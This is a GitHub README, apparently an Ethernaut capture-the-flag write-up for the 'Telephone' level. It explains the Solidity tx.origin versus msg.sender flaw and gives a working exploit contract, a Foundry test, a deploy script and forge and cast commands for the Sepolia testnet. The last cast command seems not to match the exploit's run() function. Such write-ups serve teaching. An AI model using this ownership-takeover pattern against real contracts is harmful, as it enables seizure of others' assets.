Skip to content
This repository has been archived by the owner on Dec 11, 2024. It is now read-only.

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

👾 04. Telephone



tl; dr


  • in this challenge, we exploit the difference between solidity's global variables tx.origin and msg.sender to to phish with tx.origin and become owner.
    • tx.origin refers to the EOA that initiated the transaction (which can be many calls ago in the stack, and never be a contract), while msg.sender is the immediate caller (and can be a contract).
    • tx.origin is known for being generally vulnerable, and its use should be restricted to specific cases such as denying external contracts from calling the current contract (for instance, with a require(tx.origin == msg.sender)).


pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}


discussion


  • Telephone() contract is pretty simple. first, it declares a state variable called owner (state variables have values permanently stored in a contract storage):

address public owner;

  • then we have a constructor that defines that the EOA who deploys this contract is its owner:

constructor() {
    owner = msg.sender;
}

  • finally, we have a function to change the owner, which checks if the caller is not the owner to give the ownership. this function is our target, and to exploit it, we need to make sure that tx.origin and msg.sender are not the same:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
}

  • this can be done by creating an intermediary contract that makes a call to Telephone(). this is our exploit:

contract TelephoneExploit {
    
    function run(Telephone level) public {
        level.changeOwner(msg.sender);
  }
}


solution


  • first, we test our solution at test/04/Telephone.t.sol:

contract TelephoneTest is Test {

    Telephone public level = new Telephone();
    address hacker = vm.addr(0x1337); 

    function testTelephoneHack() public {

        vm.startPrank(hacker);
        assertNotEq(level.owner(), hacker);

        TelephoneExploit exploit = new TelephoneExploit();
        exploit.run(level);

        assertEq(level.owner(), hacker);
        vm.stopPrank();
    }
}

  • by running:

> forge test --match-contract TelephoneTest -vvvv    

  • once it passes, we submit the solution with script/04/Telephone.s.sol:

contract Exploit is Script {

      address instance = vm.envAddress("INSTANCE_LEVEL4");
      address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));
      Telephone level = Telephone(instance); 
      TelephoneExploit public exploit;
        
      function run() external {

            vm.startBroadcast(hacker);
            exploit = new TelephoneExploit();
            exploit.run(level);
            vm.stopBroadcast();
    }
}

  • by running:

> forge script ./script/04/Telephone.s.sol --broadcast -vvvv --rpc-url sepolia


alternative solution with cast


  • instead of relying on our deploying script, a second option is deploying the contract directly with:

> forge create src/04/TelephoneExploit.sol:TelephoneExploit --constructor-args <level address> --private-key=<private-key> --rpc-url=<sepolia url> 

  • note that we would have to slightly modify our exploit to create an instance of Telephone instead of receiving it as an argument (with level). something like this:

interface Telephone {
    function changeOwner(address _owner) external;
}

contract TelephoneExploit {
    Telephone level;

    constructor(address _levelInstance) {
       level = Telephone(_levelInstance);
    } 
    
    function run() public {
        level.changeOwner(msg.sender);
  }
}

  • to call the exploit, we run:

> cast send <deployed address> "changeOwner()" --private-key=<private-key> --rpc-url=<sepolia url> 


pwned...